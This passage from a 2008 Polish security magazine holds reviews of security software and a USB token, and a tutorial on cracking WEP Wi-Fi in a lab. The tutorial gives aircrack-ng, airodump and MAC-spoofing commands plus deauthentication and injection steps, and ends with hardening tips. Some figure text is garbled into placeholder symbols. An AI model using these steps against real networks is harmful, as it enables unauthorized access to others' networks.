oprogramowania, a jedyną opcją, z której warto
skorzystać, jest zabezpieczenie dostępu do
ustawień oprogramowania hasłem. Jej użycie
można zarekomendować zwłaszcza rodzicom,
chcącym ograniczyć i kontrolować internetowe
wybryki swoich pociech, a także administratorom
firmowych sieci, dbającym o bezpieczeństwo
pracowników swych firm.
Po zainstalowaniu przyjdzie kolej na aktywację
oprogramowania – nie wystarczy tu podanie
numeru seryjnego znajdującego się w pudełku.
Trzeba będzie się zarejestrować, a dopiero
pomyślne przejście tego procesu da nam dostęp
do nazwy użytkownika i hasła, dzięki którym w pełni
aktywujemy oprogramowanie. Od teraz cały pakiet
dba o nasz komputer. Do pełni bezpieczeństwa
trzeba jeszcze tylko dokonać aktualizacji i pełnego
skanowania systemu.
Główne okno programu jest przejrzyste i daje
dostęp do poszczególnych opcji poprzez system
zakładek. Pierwsza zakładka – Status – prezentuje
informacje o uruchomionych modułach i dacie
ostatniej aktualizacji bazy definicji wirusów.
Kolejna zakładka to AntiVirus. Pozwala ona
zakutalizować program na żądanie (proces ten
może się odbywać automatycznie), przeskanować
cały system bądź też jego wybrany fragment.
Tutaj też można przejrzeć pliki znajdujące się w
kwarantannie i zmienić ustawienia antywirusa – w
tym zaplanować okresowe skanowania systemu.
Do zarządzania firewallem autorzy programu
udostępnili nam osobny zestaw opcji w
zakładce – jakżeby inaczej – Firewall. Mamy
możliwość określania reguł dla aplikacji, portów
i sieci, z jakimi jesteśmy połączeni. Dla mniej
zaawansowanych użytkowników powstał tryb
autopilota, podejmujący za nich większość decyzji.
AntiSpam to zakładka filtrująca spam, ale także
niebezpieczne skrypty ukryte w treści HTML oraz
neutralizująca niebezpieczne załączniki. Możemy
też tu podejrzeć statystki działania modułu i rejestr
aktywności.
Bardzo przydatna jest opcja chroniąca nasze
działania w Internecie. Moduł odpowiedzialny
za tę funkcjonalność nosi nazwę WebFilter, a
zakładka o tej samej nazwie umożliwia m.in.
konfigurację ustawień tej dziedziny ochrony
oraz kontrolę operacji czyszczenia prywatnych
danych użytkownika, które mogą wyciec podczas
surfowania po Internecie. WebFilter troszczy się o
to, abyśmy nie padli ofiarą ataku phishingowego.
Blokowanie reklam, uciążliwych popupów oraz
niebezpiecznych skryptów wszelkiej maści
to kolejne możliwości tego modułu. WebFilter
potrafi się nawet zintegrować z przeglądarką, w
której pojawia się pasek, umożliwiający szybkie
włączenie bądź wyłączenie części funkcjonalności
programu, a także dodanie odwiedzanej strony do
listy zaufanych witryn.
Kontrola rodzicielska pozwala na definiowanie
treści dozwolonych i niedozwolonych oraz na
kontrolowanie czasu dostępu do komputera do
Internetu. Narzędzie to może być równie dobrze
wykorzystywane przez administratorów sieci
firmowych do ograniczania zbytniej swobody
działania pracowników.
Wyjątkową funkcją pakietu jest tuning.
Umożliwia on poprawienie bezpieczeństwa i
wydajności komputera oraz zapewnia ochronę
danych użytkowników komputera. Warto tu
wymienić choćby kilka dostępnych ustawień,
takich jak: włączenie skanowania ściągniętych
z Internetu plików, wyłączenie uruchamiania
skryptów, defragmentacja dysków, uaktywnienie
trybu DMA, usuwanie historii przeglądanych stron
itd. Jeszcze jedną ciekawą – i niespotykaną w
innych pakietach bezpieczeństwa – opcją jest
moduł backupu. Backup można wykonać na
płycie, na innym dysku bądź na koncie FTP. Wraz
z pakietem dostajemy 1 GB miejsca na serwerze
FTP, ale oczywiście za dopłatą można tę ilość
zwiększyć. Oczywiście można usuwać stare
kopie, aby zrobić miejsce dla nowych. Backup
można planować tak, aby odbywał się cyklicznie.
Jak większość modułów, i ten oferuje dostęp do
raportów swojej aktywności.
GDATA TotalCare oferuje kompleksowe
bezpieczeństwo – nawet dziś, kiedy atak
może przyjść z każdej strony. Innowacyjne
funkcje backupu i tuningu sprawiają, że ten
pakiet wyróżnia się na rynku i jest ciekawą
propozycją dla użytkowników dbających o swoje
bezpieczeństwo.
GDATA TotalCare
Producent
GDATA
System
MS Windows
Typ
Pakiet zabezpieczający
Strona producenta
http://www.gdata.pl
««««
«
OCENA
12
NARZĘDZIA
HAKIN9 9/2008
13
HAKIN9
9/2008
To urządzenie pozwala na
przechowywanie hasła – tokenu.
Prezentowana dziś wersja jest inteligentną
kartą kryptograficzną. Zakupując ją otrzymamy
dodatkowo płytę z aplikacjami: MS_NetLogOn,
TMS2SSO3com, PKI_Client (ver: Mac, Linux, Win)
etsso30, etssote30, TMS_client_2.0, TMS_Schema_
Instal_2.0, TMS_Server_2.0, WSO_1_5.
Taką kartę możemy wykorzystać do
przechowywania kluczy dostępowych do systemu
operacyjnego, bankowości elektronicznej oraz
ochrony elektronicznych aplikacji biznesowych.
Sam e-Token pracuje na 1024 i 2048-bitowych
kluczach RSA, pozwala także na wewnętrzne
generowanie kluczy prywatnych i publicznych.
Inteligentne karty dają możliwość logowania się
do stacji roboczej i sieci bez podawania hasła.
W zależności od ustawień e-Token zapewnia
dwustopniową autoryzację dostępu (klucz e-Token
+ hasło), jednak oprogramowanie pozwala nam
przełączyć się w tryb autoryzacji jednopoziomowej
(klucz e-Token); nie wymaga zastosowania
dodatkowego czytnika.
e-Token to urządzenie w wersji z dwoma
rozmiarami pamięci zapisu i odczytu: 32 kB i
64 kB (Java Virtual Machine 72k). Pamięć jest
chroniona hasłem, które jest przechowywane w
pamięci w postaci zakodowanej: 16-bajtowego
kodu (PIN). Inne dane także nie są bezpośrednio
transmitowane do klucza – w tym celu zostaje
wykorzystuje się protokół challenge-response, przy
każdym dostępie zmieniając klucz szyfrujący. Dzięki
temu, że wykorzystywany jest standardowy interfejs
USB, używanie klucza staje się niezwykle łatwe.
Wśród programów znajdujących się na płycie
CD znajduje się między innymi MS_NetLogOn, który
pozwala nam na zalogowanie się do komputera
bez podawania hasła. Sama instalacja programu
jest bardzo prosta – wystarczy uruchomić instalator
i konsekwentnie klikać Dalej. Następnym krokiem
jest ponowne uruchomienie komputera. Pierwsza
różnica, jaka daje się zauważyć, to zmiana sposobu
logowania – ponieważ na razie nie jest zainicjowany
żaden e-token, wybieramy logowanie standardowe
i wpisujemy hasło. Następnie przystępujemy do
instalacji urządzenia: wpinamy e-Token w port USB
i klikamy nową ikonę z tacki systemowej (tray). W
zakładce Narzędzia mamy dostęp do wszystkich
urządzeń e-Token podłączonych do komputera.
Z podstawowych operacji mamy możliwość
zmiany nazwy naszej inteligentnej karty szyfrującej
i przejrzenia informacji o niej. Jednak dopiero
zakładka Zaawansowane otwiera nam prawdziwe
pole do popisu. Wybieramy nasz świeżo wpięty
e-Token, następnie klikamy Inicjuj e-Token. Otwiera
się okno parametrów inicjalizacyjnych, w którym
decydujemy o nazwie urządzenia oraz haśle dla
użytkownika oraz administratora. Wykorzystując
opcje zaawansowane wybieramy także: tryb
kompatybilności, opcję Zapisz politykę haseł na
e-Token, tryb FIPS, pojedyncze logowanie, Wsparcie
dla 2048-bitowych kluczy RSA czy Wsparcie dla
HMAC SHA1 itd. Konfigurujemy inteligentną kartę
według własnych potrzeb. Teraz zrobimy test:
wylogowujemy aktualnego użytkownika i wkładamy
e-Token Pro. System rozpoczyna logowanie, do
którego jest potrzebny klucz e-Token – powinien
on zostać ustawiony podczas wcześniejszej
konfiguracji. Jeśli tego nie zrobiliśmy, przybiera on
standardową wartość 1234567890.
e-Token jest bardzo ciekawym urządzeniem,
pozwalającym nam na ograniczenie liczby
haseł, które musimy zapamiętać – wystarczy raz
podać hasło do klucza, np. podczas logowania
się do systemu. Wszystkie pozostałe hasła
są przechowywane na inteligentnej karcie
kryptograficznej, która zapewnia im bezpieczeństwo
dzięki przechowywaniu ich w postaci zakodowanej.
Jak zintegrować e-Token z Firefoksem? Nie
jest to trudne, gdyż instalator od razu umieścił w
naszym komputerze wszystkie potrzebne pliki.
Dodawanie obsługi karty inteligentnej rozpoczynamy
od uruchomienia Firefoksa. Konfigurację
przeglądarki zaczynamy od menu Narzędzia, gdzie
wybieramy opcje programu, następnie zakładkę
Zaawansowane i potem Szyfrowanie. Interesująca
nas opcją to Urządzenia zabezpieczające. Po prawej
stronie na liście rozwijalnej widzimy zainstalowany
e-Token. Zaznaczamy go i odczytujemy listę
parametrów, a następnie wybieramy Włącz
FIPS. Dzięki ustawieniu funkcji hasła głównego w
karcie szyfrującej, e-Token powinien teraz zacząć
przechowywać hasła wpisywane w newralgicznych
miejscach podczas surfowania w sieci Internet.
Przez aplikację e-Token Properties importujemy
także certyfikaty do urządzenia.
Producent
Aladdin
System
Windows 98/98SE/Me/
2000/XP oraz NT4.0 SP6
i nowsze
Strona dystrybutora
http://www.clico.pl
e-Token – Pro
(CardOS 4.2B)
«««««
OCENA
NARZĘDZIA
14
NARZĘDZIA
HAKIN9 9/2008
Wirusy stanowią codzienny problem
użytkowników komputerów. System
jest na nie narażony dosłownie
od momentu włączenia. Ryzyko spotkania
z szalejącym w sieci wirusem wzrasta,
jeśli za pośrednictwem internetu lub sieci
lokalnej pobierane są pliki. W tej sytuacji
użytkownicy, którzy z różnych powodów zależni
są od technologii informatycznych i sprzętu
komputerowego, chcieliby mieć do dyspozycji
zestaw narzędzi, który sam zajmie się
tropieniem wirusów w systemie, a im pozwoli
spać spokojnie. Najlepiej, jeśli nie tylko znajdą
wirusa, ale również przeprowadzą kwarantannę
i utworzą loga z zapisem całości procesu
skanowania.
Szybki start : Instalacja jest bardzo prosta,
ponieważ w znacznym stopniu przypomina
proces instalowania oprogramowania
windowsowego. Należy do rodzaju Zaznacz-
I-Kliknij i wszystko inne zrobi za użytkownika.
Rysunek 1 pokazuje panel administracyjny
narzędzia eSkan. Wyposażony jest on w
bardzo proste i eleganckie rozwiązania
dostosowane do każdego rodzaju użytkownika.
Program może pracować według ustalonego
harmonogramu i na różnych poziomach
czynnej ochrony.
Użytkownik może wybrać dysk do
skanowania z okna na życzenie i kliknąć
„skanuj”. Po zakończeniu skanowania zostanie
utworzona lista niepożądanych programów
i w tym samym czasie przedstawiona
użytkownikowi, aby mógł się zapoznać z
wirusami znalezionymi w systemie. Rysunek 2
przedstawia okno skanowania pojawiające się
w momencie rozpoczęcia skanowania. eScan
jest regularnie aktualizowany, a uruchomienie
automatycznego sprawdzenia dostępności
aktualizacji jest bardzo proste i robi wszystko za
użytkownika.
Zalety
Instalacja, skanowanie, aktualizacja i
wybieranie trybu są szybkie i proste. Instrukcja
obsługi jest dobrze zorganizowana na
wypadek „utknięcia” w dowolnym miejscu
w czasie użytkowania programu. Logi
uwzględniają każdy szczegół skanowania, co
pozwala nawet początkującym użytkownikom
łatwo zrozumieć zainfekowany plik. Również
aktualizacje są częste.
Wady
Ogólnie rzecz biorąc, programy antywirusowe
zawsze będą miały swoje ograniczenia. Będą
rozpoznawały jedynie sygnatury złośliwych
programów znanych specjalistom od
bezpieczeństwa pracującym dla producenta
danego produktu. Z tego powodu programy
antywirusowe nie są w stanie rozpoznawać
wirusów, których sygnatur nie znają. Jest
to najpoważniejsza wada wszelkiego tego
typu oprogramowania. Poza nią, w czasie
użytkowania produktu nie zauważyłem żadnych
wad.
eScan
«««««
OCENA
Rysunek 1.
Panel administracyjny na życzenie
Rysunek 2.
Okno skanowania
System operacyjny
Windows
Licencja
Komercyjna
Aplikacja
eScan
Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona
mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.
W razie problemów z płytą, proszę napisać pod adres:
cd@software.com.pl
16
HAKIN9 9/2008
POCZĄTKI
POCZĄTKI
17
ŁAMANIE WIFI
HAKIN9
9/2008
W dzisiejszym świecie ludzie używają różnorodnych mediów do porozumiewania się
ze sobą. Media te mają różne właściwości, co wpływa na zastosowanie w określonym
środowisku danego sposobu komunikacji. W XXI wieku najważniejsza jest informacja, a
właściwie szybkość jej przepływu. Kto posiada aktualne informacje, ten może wpływać
na otaczający Świat.
Łamanie WIFI
N
ie wyobrażamy sobie
współczesnego świata bez
Internetu. Wprawdzie Internet
w Polsce ma dopiero 16 lat, niemniej
na stałe zagościł w większości naszych
domów. Internetu używamy do czytania
poczty elektronicznej, przeglądania
najnowszych wiadomości z kraju czy ze
świata, do czatowania lub przelewania
pieniędzy z elektronicznych kont
bankowych. Należy pamiętać, że Internet
to nie tylko rozrywka, ale także narzędzie
pracy, sposób komunikacji i przesyłu
danych – przy czym dane te często są
poufne bądź też stanowią tajemnicę
przedsiębiorstwa.
Artykuł ten poświęcony będzie sieciom
WiFi, a więc sieciom bezprzewodowym
o stosunkowo małym zasięgu
(wynoszącym ok. 100 m), działającym w
nielicencjonowanym paśmie 2,4 GHz.
Bezprzewodowy Internet pozwala nam
cieszyć się nieskrępowanym korzystaniem
ze swych zasobów, ograniczonym
właściwie tylko zasięgiem sieci. Celem
tego artykułu jest uświadomienie
Czytelnikowi, jakie niebezpieczeństwa
mogą czyhać w sieciach WiFi oraz jak się
przed nimi bronić. Na wstępie Czytelnik
zaznajomiony będzie z podstawowymi
wiadomościami niezbędnymi do analizy
sieci WiFi. Zapraszam do lektury artykułu.
TEORIA
Sieci WiFi (z ang. Wireless Fidelity
– bezprzewodowa wierność) to
standard bezprzewodowych sieci
komputerowych, w których jako medium
transmisyjne wykorzystuje się fale
elektromagnetyczne emitowane do
atmosfery ziemskiej. Sieci te mają
zwykle zasięg ok. 100 m w otwartej
przestrzeni i pracują w paśmie
częstotliwości od 2400 MHz do 2485
MHz.
Pasmo to nie jest objęte żadnymi
regulacjami, należy do grupy pasm
ISM (ang. Industrial, Scientist & Medical
– przemysł, nauka i medycyna).
Sieć WiFi może być zbudowana w
jednej z 2 architektur:
• ad-hoc, czyli bez punktu dostępowego,
komunikacja odbywa się na zasadzie
„każdy z każdym”,
• z infrastrukturą, w której stacje klienckie
łączą się za pośrednictwem punktu
dostępowego AP.
O ile w sieciach ad-hoc stacje klienckie
przesyłają dane między sobą, o tyle w
sieciach z infrastrukturą istnieje punkt
dostępowy, który zapewnia dostęp do
zasobów sieci. Punkt dostępowy AP (ang.
Access Point) to urządzenie wyposażone
najczęściej w dwa interfejsy sieciowe:
kablowy Ethernet oraz bezprzewodowy
WLAN, z czego pierwszy służy do
połączenia AP z siecią przewodową, a
drugi zapewnia komunikację z sieciami
standardu IEEE 802.11. AP pełni więc
rolę mostu. Zdecydowanie częściej
będziemy mieć do czynienia z sieciami
z infrastrukturą, należy więc znać
podstawowe informacje dotyczące tego
rodzaju sieci.
Istnieje pewien specyficzny rodzaj
sieci WiFi, przeznaczonych do ogólnego
dostępu. Są to tzw. hotspoty. Są one często
spotykane w salach konferencyjnych,
hotelach czy bulwarach nadmorskich.
Listing 1.
Informacje o najważniejszych parametrach sieci WiFi
doctor
@doctor
-laptop:~
$
iwlist ath0 scanning
ath0 Scan completed :
Cell 01 - Address: 00:1B:11:4C:25:BD
ESSID:
"hakin9"
Mode:Master
Frequency:2.432 GHz
(
Channel 5
)
Quality=52/70 Signal level=-43 dBm Noise level=-95 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:bcn_int=100
Extra:wme_ie=dd070050f202000100
RAFAŁ LYSIK
16
HAKIN9 9/2008
POCZĄTKI
POCZĄTKI
17
ŁAMANIE WIFI
HAKIN9
9/2008
Czasami ich funkcjonalność jest
ograniczona do przeglądania niektórych
stron WWW lub też jest limitowana
czasowo. Integralnym punktem hotspotu
jest oczywiście AP. Dostęp do tych sieci jest
otwarty.
Pora na analizę bezpieczeństwa
sieci bezprzewodowych. Każdy
użytkownik sieci WiFi musi mieć na
uwadze fakt, że medium transmisyjne
jest ogólnie dostępne i dowolna osoba,
wyposażona w odpowiedni sprzęt,
może podsłuchiwać transmisję w
takiej sieci. Dobrym porównaniem jest
tu sytuacja, w której korzystający z
internetu kablowego, a więc Ethernetu,
wyprowadza kabel ze swojego domu
na pobliski parking i wraca do domu
nie interesując się, czy ktoś może
podepnie się do owej sieci, czy też
nie. Tym porównaniem pokazuję, że w
sieciach bezprzewodowych konieczne
jest zastosowanie choćby najprostszej
formy szyfrowania pakietów – tak, aby
nasze dane nie były przesyłane w
czystej postaci. O ile bowiem dostęp
niepowołanych gości do sieci WiFi
można dość skutecznie ograniczyć, o
tyle małe są możliwości, aby do hakera
nie dotarł sygnał radiowy z naszej sieci.
Nie łudźmy się także małym zasięgiem
sieci WiFi. Jak pokazały testy [1], możliwe
jest przeprowadzenie transmisji w sieci
bezprzewodowej nawet na odległość
setek kilometrów! Jest to kwestia
odpowiednio czułych odbiorników oraz
anten kierunkowych o dużym zysku
energetycznym.
Reasumując, za bezpieczeństwo
sieci WiFi jest odpowiedzialny właśnie
Access Point, tj. mechanizmy i filtry
w nim zastosowane. Wiele urządzeń
sieciowych jest gotowych do pracy zaraz
po wypakowaniu. Jest to może i wygodne
rozwiązanie (choćby przez analogię
do Plug and Play), ale nie zaleca się
tworzenia sieci z hasłami dostępowymi
i konfiguracją ustawioną przez
producenta sprzętu. Zdarza się nawet, że
administrator nie zmienia domyślnego
hasła routera WiFi, nie wspominając o
pozostawieniu sieci bez włączonego
szyfrowania.
Obecnie ponad 70% sieci WiFi jest
zabezpieczonych, z czego zdecydowana
większość używa szyfrowania WEP.
Dowodzi to, że użytkownicy WiFi są
świadomi niebezpieczeństw i rozumieją
potrzebę zastosowania dodatkowych
środków bezpieczeństwa. Sytuacja ta jest
diametralnie różna od tej sprzed 5 lat,
gdzie tylko niewielki procent sieci WiFi miał
jakiekolwiek zabezpieczenia.
Przyjrzyjmy się teraz metodom
zabezpieczania sieci WiFi.
Administrator sieci zwykle zabezpiecza
sieć WiFi co najmniej jednym z poniższych
środków:
• szyfrowanie WEP,
• szyfrowanie WPA – WPA II,
• serwer autoryzacyjny Radius,
• wyłączenie rozgłaszania ESSID,
• filtrowanie adresów MAC,
• stosowanie tuneli VPN.
Omówmy pokrótce najczęściej stosowane
zabezpieczenia.
Szyfrowanie WEP (ang. Wired
Equivalent Privacy) – standard
szyfrowania wprowadzony w 1999 r. Ma
za zadanie chronić dane w warstwie
łącza danych. Oparty jest na popularnym
algorytmie strumieniowym RC4. Definiuje
klucze 40- lub 104-bitowe, do których
dołączany jest wektor inicjujący o
długości 24 bitów. Można znaleźć także
implementacje z kluczem o długości
232 bitów, jednak nie wpływa to w
znaczący sposób na siłę kryptograficzną
algorytmu. W efekcie klucz kodujący ma
odpowiednio długość 64 i 128 bitów.
Tym kluczem jest kodowana wiadomość
oraz jej suma kontrolna. Aby uniknąć
szyfrowania tym samym kluczem, stosuje
się zmienny wektor inicjujący.
KROK1
Działanie algorytmu jest następujące:
wiadomość jawna XOR strumień
szyfrujący = wiadomość zaszyfrowana
Słabość tego algorytmu wynika ze
słabości wektora inicjującego IV. Jak
widać z Rysunku 1, porównując dwa
pakiety szyfrowane z zastosowaniem
tego samego wektora inicjującego IV,
możliwe jest obliczenie klucza WEP.
Warto jeszcze dodać, że wektor inicjacji
IV przesyłany jest w czystej postaci. Dla
programu AirCrack potrzebna liczba
przechwyconych pakietów wynosi
150.000 dla WEP 64 oraz 500.000 dla
WEP 128, co przy bardzo obciążonej sieci
może trwać niecałe 30 minut. Dodatkowo,
aby szybciej zgromadzić odpowiednią
ilość pakietów, można wstrzykiwać
własne pakiety, czyli generować sztuczny
ruch.
Szyfrowanie WPA-PSK – standard ten
jest następcą WEP. WPA jest standardem
przejściowym między WEP a WPA II.
WPA korzysta z protokołów: TKIP oraz
uwierzytelnienia EAP. Część sprzętu nie
wspiera WPA, konieczna jest wtedy zmiana
firmware urządzenia.
Wyłączenie rozgłaszania ESSID
– warto wyłączyć rozgłaszanie
identyfikatora sieci, wiele sterowników
kart WiFi (choćby systemowy Windows)
Rysunek 1.
Działanie algorytmu WEP
��
�����
���
�����������
�������
�������������������������������
���
��
��
������
�����������
�������
������������
18
HAKIN9 9/2008
POCZĄTKI
POCZĄTKI
19
ŁAMANIE WIFI
HAKIN9
9/2008
nie wykrywa sieci, które mają ukryte
ESSID. Tym sposobem można odebrać
chęć do poczynienia zniszczeń tzw.
script kiddies. Wysyłając do stacji
klienckiej ramkę deautentyfikacji
spowodujemy jej odłączenie. Klient
chcąc ponownie się połączyć, musi
podać identyfikator sieci, a to już można
przechwycić.
KROK2
Filtrowanie adresów MAC – w tę funkcję
wyposażony jest każdy dobry router.
Pozwala ona na dostęp do zasobów
sieci tylko tym klientom, których adres
MAC znajduje się na liście zapisanej w
pamięci routera. Jest to zabezpieczenie
proste do złamania, należy jedynie
przechwycić pakiety autoryzowanych
klientów, a następnie podszyć się pod
nich.
Aby zmienić adres sprzętowy MAC,
należy wpisać w konsoli:
#ifconfig <interface> hw ether <new
MAC>
Na tym etapie podamy cechy, jakie
musi spełniać sieć WiFi, aby była
zakwalifikowana jako bezpieczna. Te
cechy to:
• poufność – dane wysyłane przez
stacje klienckie z sieci WiFi powinny być
odczytane w oryginalnej postaci jedynie
przez adresata wiadomości,
• integralność – dane docierające
do odbiorcy wiadomości powinny
pozostać w niezmienionej postaci,
• wierzytelność – zapewnienie, że dane
pochodzą z wiarygodnego (zaufanego)
źródła.
W tym miejscu zastanówmy się, jakie mogą
być powody włamywania się do sieci WiFi.
Może to być:
• chęć korzystania z darmowego
Internetu,
• próba podsłuchania/wykradzenia
ważnych danych,
• próba sparaliżowania pracy całej
sieci,
• kontrolowane testy bezpieczeństwa,
• zabawa.
ATAK
Dla celów testowych stworzona została
sieć składająca się z 3 maszyn: punktu
dostępowego AP, stacji klienckiej, która
łączy się poprzez AP, oraz laptopa hakera,
na którym dokonuje się przechwytywania
pakietów oraz łamania zabezpieczeń sieci.
AP (i router w jednym) DIR-655 posiadał
włączone rozgłaszanie ESSID („hakin9”),
włączone szyfrowanie WEP 64, kanał pracy
został ustalony na 5. Klient Client 1 pobierał
dane z sieci strumieniowo, przy średnim
poziomie 50 kB/s.
Laptop hakera wraz z
zainstalowanym Linux Back Track
na pokładzie był wyposażony w
oprogramowanie AirCrack i Wireshark.
Karta WiFi na laptopie hakera pracowała
w trybie monitor.
KROK3
Schemat ataku
Najpierw atakujący przeprowadza
rozpoznanie sieci, a więc wykonuje
działania mające na celu zdobycie
Rysunek 3.
Schemat testowej sieci WiFi
��������
������
��������
���������
������������
Rysunek 2.
Funkcje konfiguracji sieci w routerze AP WiFi
18
HAKIN9 9/2008
POCZĄTKI
POCZĄTKI
19
ŁAMANIE WIFI
HAKIN9
9/2008
informacji o sieciach pozostających w
zasięgu.
KROK4
Omówmy powyższy schemat ataku. Po
przeskanowaniu sieci (1) (skanerem
aktywnym lub pasywnym) wybieramy
cel ataku. Jeśli sieć ma ukryty SSID (2),
konieczne będzie rozłączenie klienta
przez wysłanie ramki deautentyfikacji.
Klient przy próbie ponownego
połączenia wyśle ESSID sieci, który
zostanie podsłuchany przy pomocy
sniffera.
Mając już ESSID sieci, przystępujemy
do zebrania odpowiedniej liczby pakietów
(3). Warto więc wybrać sieć, w której
przepływ danych jest odpowiednio duży.
Jeśli zbierzemy dostateczną ilość pakietów
z wektorami (3b) IV, możemy przystąpić do
łamania klucza WEP (program Aircrack).
Jeśli nie, sztucznie zwiększamy ruch w sieci
wstrzykując dodatkowe pakiety programem
Aireplay (3c). Mając złamany klucz WEP
(4), próbujemy podłączyć się do sieci (5).
Jeśli sieć ma włączone filtrowanie adresów
MAC, najpierw podglądamy snifferem
(6) (np. Wireshark) adresy MAC klientów
łączących się z AP. Po rozłączeniu klienta
zmieniamy nasz MAC na adres sprzętowy
klienta (7).
Jeśli dalej nie możemy podłączyć
się do sieci, nadajemy swojemu
komputerowi statyczny adres IP (8)
(uzyskany np. podczas sniffowania
pakietów). Po tych operacjach
powinniśmy uzyskać dostęp do sieci (9).
Całość ataku można podzielić na
etapy:
• wybór celu [1],
• zbieranie wektorów inicjujących IVS [2],
• łamanie klucza [3].
Ad. 1
Na początkowym etapie
przeprowadzamy skanowanie sieci, aby
zobaczyć, jakie sieci są w naszym zasięgu.
Możemy tu korzystać z różnych narzędzi,
najprostsze to iwlist (Listing 1).
Narzędzie wyświetla podstawowe
informacje o identyfikatorze sieci ESSID,
adresie MAC punktu dostępowego
BSSID, kanale pracy, poziomie sygnału
Rysunek 4.
Kolejne kroki ataku na sieć WiFi
�
��
�����������������
��������������
��������������������������������������
��������������
���
���
�����������������
�����������������
����
������������
������������
�������������
������
���
���
������������
�������������
��������
�����������
�����������
������
���
���
��������������
���������������
���������������
�������
�����������
��������������
���
���
������������
�������������
����������������
��������
��������������
��������������
����������������
����������
���
���
���������������
�������������
�����������������
����������������
����������
����������������
�������������������
�������������������������
���������������
���������������
������
���
����������
��������
�������
���
���������������
���������������
��������������
����������������������������������
�������������������
����������������������������������������������
�����������
�
�
��
�
�
�
�
�
�
20
HAKIN9 9/2008
POCZĄTKI
POCZĄTKI
21
ŁAMANIE WIFI
HAKIN9
9/2008
oraz dozwolonych prędkościach
transmisji.
Mając te dane, przystępujemy do
wyboru celu – a więc interesującej nas
sieci.
Ad. 2
W tych działaniach przydatny będzie
pakiet Aircrack-ng. Składa się on z 3
programów:
• airodump – służy do wykrywania
sieci i przechwytywania pakietów,
• aircrack – służy do łamania klucza
WEP,
• aireplay – służy do wstrzykiwania
pakietów celem przyspieszenia
procesu łamania klucza.
Najpierw należy stworzyć nowy interfejs
logiczny pracujący w trybie monitor. Jest to
odpowiednik trybu promiscuous w sieciach
Ethernet.
Interfejs ten będzie stworzony na bazie
fizycznego interfejsu, w tym przypadku wifi0.
Dokonamy tego przy pomocy polecenia:
wlanconfig ath2 create wlandev wifi0
wlanmode monitor
KROK5
W artykule wykorzystałem kartę z
chipsetem Atheros 5005G ze sterownikami
Mad WiFi.
Mając już stworzony interfejs ath0,
zdolny do przechwytywania pakietów,
przystępujemy do przechwycenia pakietów
kierowanych nie tylko do naszego interfejsu:
Airodump-ng -c 5 -bssid 00:1B:11:
4C:25:BD -ivs -w
output ath2
gdzie:
• `-c <liczba> – oznacza kanał, na
którym będziemy nasłuchiwać,
• -b <MAC> – jest adresem MAC punktu
dostępowego,
• --ivs – flaga ta oznacza, że będziemy
przechwytywać tylko wektory
inicjujące,
• -w – zapis wektorów inicjujących do
pliku.
Po chwili program pokaże stacje dołączone
do sieci oraz liczbę przechwyconych
pakietów.
Widzimy, że do AP przyłączone
są dwie stacje: pierwsza to stacja
przechwytująca pakiety, a druga to
autoryzowana stacja kliencka. Nawet,
gdyby sieć miała ukryty ESSID, to po
przechwyceniu odpowiedniej ilości ramek
autoryzacyjnych byłby on uwidoczniony
przez Airodump.
KROK6
Ad. 3
Po przechwyceniu odpowiednio
dużej liczby pakietów pozostaje nam
uruchomić aircrack-ng i odczytać klucz
WEP.
KROK7
Analizować ruch w sieci WiFi można
także za pomocą sniffera, jednak musi
mieć on opcję poprawnego dekodowania
Rysunek 5.
Interfejs ath2 ustawiony w tryb monitor
Rysunek 6.
Airodump podczas procesu zbierania pakietów
Rysunek 7.
Końcowy etap pracy programu Aircrack – złamanie klucza WEP
20
HAKIN9 9/2008
POCZĄTKI
POCZĄTKI
21
ŁAMANIE WIFI
HAKIN9
9/2008
ramek WLAN. Przykładem takiego
analizatora jest Wireshark, posiadający
ponadto funkcje filtrowania pakietów,
dekodowanie ramek oraz pokazujący
statystyki ruchu.
KROK8
Atak słownikowy na WEP
Istnieje duża szansa na złamanie klucza
WEP, jeśli jest on domyślny [5] lub też
jego treść to po prostu coś znaczące
słowo. Można wtedy przeprowadzić atak
słownikowy, korzystając z narzędzia
wepattack [6]. Niektóre AP wymuszają
ustawienie klucza WEP (ASCII)
składającego się z samych liter a-z oraz
A-Z, długość ciągu znakowego musi
wynosić dokładnie 5 lub 13 znaków ASCII.
Zawęża to w pewnym stopniu zawartość
słownika.
PODSUMOWANIE
Sieci WiFi przeżywają swój rozkwit.
Artykuł miał za zadanie przedstawić
słabości tego typu sieci oraz sposoby,
na jakie mogą one zostać wykorzystane
przez hakera. Ważne jest zatem
prawidłowe skonfigurowanie oraz
zabezpieczenie sieci bezprzewodowej.
Zaleca się korzystanie z szyfrowania
WPA-PSK. Poniżej przedstawię kilka
rad dla administratorów sieci WiFi,
pomagających dobrze zabezpieczyć sieć
bezprzewodową.
• zmień domyślne hasło administratora
dla routera WiFi,
• jeśli router posiada taką możliwość,
zmień domyślny adres routera
192.168.0.1 na inny, np. 192.168.13.1,
• zmień domyślny ESSID sieci
(np. D-Link) na inny. Może to
bowiem być wskazówką, że
administrator sieci nie zmienił hasła
producenta. W przypadku urządzeń
wykorzystujących WEP, wyłącz
rozgłaszanie ESSID,
• włącz szyfrowanie WEP/WPA,
• stosuj trudne od odgadnięcia hasła
WEP,
• od czasu do czasu testuj
bezpieczeństwo swojej sieci,
• podłączaj AP zawsze za firewallem,
• włącz filtrowanie adresów MAC,
• ograniczaj moc AP do niezbędnej,
ulokuj AP na środku pomieszczenia,
• wyłącz AP na czas dłuższej
nieobecności w mieszkaniu,
• wyłącz wbudowany serwer DHCP,
• aktualizuj firmware AP/routera.
Techniki tu przedstawione nie należą
do specjalnie trudnych, jednak gdy
administrator zastosuje co najmniej
kilka z nich, to potencjalny haker będzie
musiał poświęcić wiele czasu na
złamanie zabezpieczeń takiej sieci, czyli jej
kompromitację.
Rysunek 8.
Analizator sieciowy Wireshark (dawniej Ethereal) z nałożonym filtrem pakietów
W Sieci
•
Rekord przesyłu danych w sieci WiFi – http://hacking.pl/pl/news-6918-Pobito_rekord_przesylania_danych_na_odleglosc_w_technologii_Wi_
Fi.html,
•
Opis algorytmu WEP – http://www.cyberbajt.pl/cyber.php?get=raport,377,4,379,
•
Instytut Inżynierów Elektryków i Elektroników – http://www.ieee.org,
•
